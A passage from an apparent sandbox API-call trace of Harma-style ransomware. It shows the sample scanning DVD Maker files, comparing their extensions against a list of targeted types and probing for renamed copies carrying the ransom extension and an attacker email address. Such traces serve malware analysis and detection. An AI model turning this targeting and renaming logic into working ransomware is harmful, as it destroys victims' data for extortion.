dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.323] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4422) returned 1 [0176.323] CloseHandle (hObject=0x1d4) returned 1 [0176.323] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0176.323] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.323] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.323] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.323] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.323] lstrlenW (lpString=".doc") returned 4 [0176.323] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.323] lstrlenW (lpString=".docx") returned 5 [0176.323] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0176.323] lstrlenW (lpString=".pdf") returned 4 [0176.323] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.323] lstrlenW (lpString=".xls") returned 4 [0176.323] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.323] lstrlenW (lpString=".xlsx") returned 5 [0176.323] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0176.323] lstrlenW (lpString=".ppt") returned 4 [0176.323] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.323] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.324] lstrlenW (lpString=".zip") returned 4 [0176.324] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.324] lstrlenW (lpString=".rar") returned 4 [0176.324] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.324] lstrlenW (lpString=".bz2") returned 4 [0176.324] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.324] lstrlenW (lpString=".7z") returned 3 [0176.324] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.324] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.324] lstrlenW (lpString=".dbf") returned 4 [0176.324] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.324] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.324] lstrlenW (lpString=".1cd") returned 4 [0176.324] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.324] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.324] lstrlenW (lpString=".jpg") returned 4 [0176.324] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.324] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.324] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.324] lstrlenW (lpString=".doc") returned 4 [0176.324] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.324] lstrlenW (lpString=".docx") returned 5 [0176.324] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0176.324] lstrlenW (lpString=".pdf") returned 4 [0176.324] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.324] lstrlenW (lpString=".xls") returned 4 [0176.324] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.324] lstrlenW (lpString=".xlsx") returned 5 [0176.324] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0176.325] lstrlenW (lpString=".ppt") returned 4 [0176.325] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.325] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.325] lstrlenW (lpString=".zip") returned 4 [0176.325] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.325] lstrlenW (lpString=".rar") returned 4 [0176.325] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.325] lstrlenW (lpString=".bz2") returned 4 [0176.325] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.325] lstrlenW (lpString=".7z") returned 3 [0176.325] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.325] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.325] lstrlenW (lpString=".dbf") returned 4 [0176.325] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.325] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.325] lstrlenW (lpString=".1cd") returned 4 [0176.325] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.325] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0176.325] lstrlenW (lpString=".jpg") returned 4 [0176.325] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.325] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0176.325] lstrlenW (lpString="Pets_notes-txt-background.png") returned 29 [0176.325] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.326] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7888) returned 1 [0176.326] CloseHandle (hObject=0x1d4) returned 1 [0176.326] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0176.326] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.326] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.326] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.326] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.326] lstrlenW (lpString=".doc") returned 4 [0176.326] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.326] lstrlenW (lpString=".docx") returned 5 [0176.326] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0176.326] lstrlenW (lpString=".pdf") returned 4 [0176.326] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.326] lstrlenW (lpString=".xls") returned 4 [0176.327] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.327] lstrlenW (lpString=".xlsx") returned 5 [0176.327] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0176.327] lstrlenW (lpString=".ppt") returned 4 [0176.327] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.327] lstrlenW (lpString=".zip") returned 4 [0176.327] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.327] lstrlenW (lpString=".rar") returned 4 [0176.327] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.327] lstrlenW (lpString=".bz2") returned 4 [0176.327] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.327] lstrlenW (lpString=".7z") returned 3 [0176.327] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.327] lstrlenW (lpString=".dbf") returned 4 [0176.327] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.327] lstrlenW (lpString=".1cd") returned 4 [0176.327] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.327] lstrlenW (lpString=".jpg") returned 4 [0176.327] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.328] lstrlenW (lpString=".doc") returned 4 [0176.328] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.328] lstrlenW (lpString=".docx") returned 5 [0176.328] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0176.328] lstrlenW (lpString=".pdf") returned 4 [0176.328] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.328] lstrlenW (lpString=".xls") returned 4 [0176.328] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.328] lstrlenW (lpString=".xlsx") returned 5 [0176.328] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0176.328] lstrlenW (lpString=".ppt") returned 4 [0176.328] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.328] lstrlenW (lpString=".zip") returned 4 [0176.328] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.328] lstrlenW (lpString=".rar") returned 4 [0176.328] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.328] lstrlenW (lpString=".bz2") returned 4 [0176.328] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.328] lstrlenW (lpString=".7z") returned 3 [0176.328] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.328] lstrlenW (lpString=".dbf") returned 4 [0176.328] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.328] lstrlenW (lpString=".1cd") returned 4 [0176.329] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.329] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0176.329] lstrlenW (lpString=".jpg") returned 4 [0176.329] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.329] lstrcmpiW (lpString1=".png", lpString2=".harma") returned 1 [0176.329] lstrlenW (lpString="rollinghills.png") returned 16 [0176.329] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.329] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=16842) returned 1 [0176.329] CloseHandle (hObject=0x1d4) returned 1 [0176.329] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0176.330] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.330] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.330] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.330] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.330] lstrlenW (lpString=".doc") returned 4 [0176.330] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.330] lstrlenW (lpString=".docx") returned 5 [0176.330] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0176.330] lstrlenW (lpString=".pdf") returned 4 [0176.330] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.330] lstrlenW (lpString=".xls") returned 4 [0176.330] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.330] lstrlenW (lpString=".xlsx") returned 5 [0176.330] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0176.330] lstrlenW (lpString=".ppt") returned 4 [0176.330] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.330] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.330] lstrlenW (lpString=".zip") returned 4 [0176.330] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.331] lstrlenW (lpString=".rar") returned 4 [0176.331] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.331] lstrlenW (lpString=".bz2") returned 4 [0176.331] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.331] lstrlenW (lpString=".7z") returned 3 [0176.331] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.331] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.331] lstrlenW (lpString=".dbf") returned 4 [0176.331] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.331] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.331] lstrlenW (lpString=".1cd") returned 4 [0176.331] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.331] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.331] lstrlenW (lpString=".jpg") returned 4 [0176.331] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.331] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.331] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.331] lstrlenW (lpString=".doc") returned 4 [0176.331] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0176.331] lstrlenW (lpString=".docx") returned 5 [0176.331] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0176.331] lstrlenW (lpString=".pdf") returned 4 [0176.331] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0176.331] lstrlenW (lpString=".xls") returned 4 [0176.331] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0176.331] lstrlenW (lpString=".xlsx") returned 5 [0176.331] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0176.331] lstrlenW (lpString=".ppt") returned 4 [0176.331] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0176.332] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.332] lstrlenW (lpString=".zip") returned 4 [0176.332] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0176.332] lstrlenW (lpString=".rar") returned 4 [0176.332] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0176.332] lstrlenW (lpString=".bz2") returned 4 [0176.332] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0176.332] lstrlenW (lpString=".7z") returned 3 [0176.332] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0176.332] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.332] lstrlenW (lpString=".dbf") returned 4 [0176.332] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0176.332] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.332] lstrlenW (lpString=".1cd") returned 4 [0176.332] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0176.332] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0176.332] lstrlenW (lpString=".jpg") returned 4 [0176.332] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0176.332] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.332] lstrlenW (lpString="Scenes_INTRO_BG.wmv") returned 19 [0176.332] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.333] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=253226) returned 1 [0176.333] CloseHandle (hObject=0x1d4) returned 1 [0176.333] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0176.333] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.333] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.333] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.333] lstrlenW (lpString=".doc") returned 4 [0176.333] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.333] lstrlenW (lpString=".docx") returned 5 [0176.333] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0176.333] lstrlenW (lpString=".pdf") returned 4 [0176.333] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.333] lstrlenW (lpString=".xls") returned 4 [0176.333] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.333] lstrlenW (lpString=".xlsx") returned 5 [0176.333] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0176.334] lstrlenW (lpString=".ppt") returned 4 [0176.334] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.334] lstrlenW (lpString=".zip") returned 4 [0176.334] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.334] lstrlenW (lpString=".rar") returned 4 [0176.334] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString=".bz2") returned 4 [0176.334] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString=".7z") returned 3 [0176.334] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.334] lstrlenW (lpString=".dbf") returned 4 [0176.334] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.334] lstrlenW (lpString=".1cd") returned 4 [0176.334] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.334] lstrlenW (lpString=".jpg") returned 4 [0176.334] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.334] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.334] lstrlenW (lpString=".doc") returned 4 [0176.334] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString=".docx") returned 5 [0176.334] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0176.334] lstrlenW (lpString=".pdf") returned 4 [0176.334] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.334] lstrlenW (lpString=".xls") returned 4 [0176.335] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.335] lstrlenW (lpString=".xlsx") returned 5 [0176.335] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0176.335] lstrlenW (lpString=".ppt") returned 4 [0176.335] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.335] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.335] lstrlenW (lpString=".zip") returned 4 [0176.335] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.335] lstrlenW (lpString=".rar") returned 4 [0176.335] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.335] lstrlenW (lpString=".bz2") returned 4 [0176.335] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.335] lstrlenW (lpString=".7z") returned 3 [0176.335] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.335] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.335] lstrlenW (lpString=".dbf") returned 4 [0176.335] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.335] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.335] lstrlenW (lpString=".1cd") returned 4 [0176.335] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.335] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0176.335] lstrlenW (lpString=".jpg") returned 4 [0176.335] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.335] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.335] lstrlenW (lpString="Scenes_INTRO_BG_PAL.wmv") returned 23 [0176.336] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.336] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=261220) returned 1 [0176.336] CloseHandle (hObject=0x1d4) returned 1 [0176.336] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0176.336] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.336] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.336] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0176.336] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0176.336] lstrlenW (lpString=".doc") returned 4 [0176.336] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.336] lstrlenW (lpString=".docx") returned 5 [0176.337] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.337] lstrlenW (lpString=".pdf") returned 4 [0176.337] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.337] lstrlenW (lpString=".xls") returned 4 [0176.337] 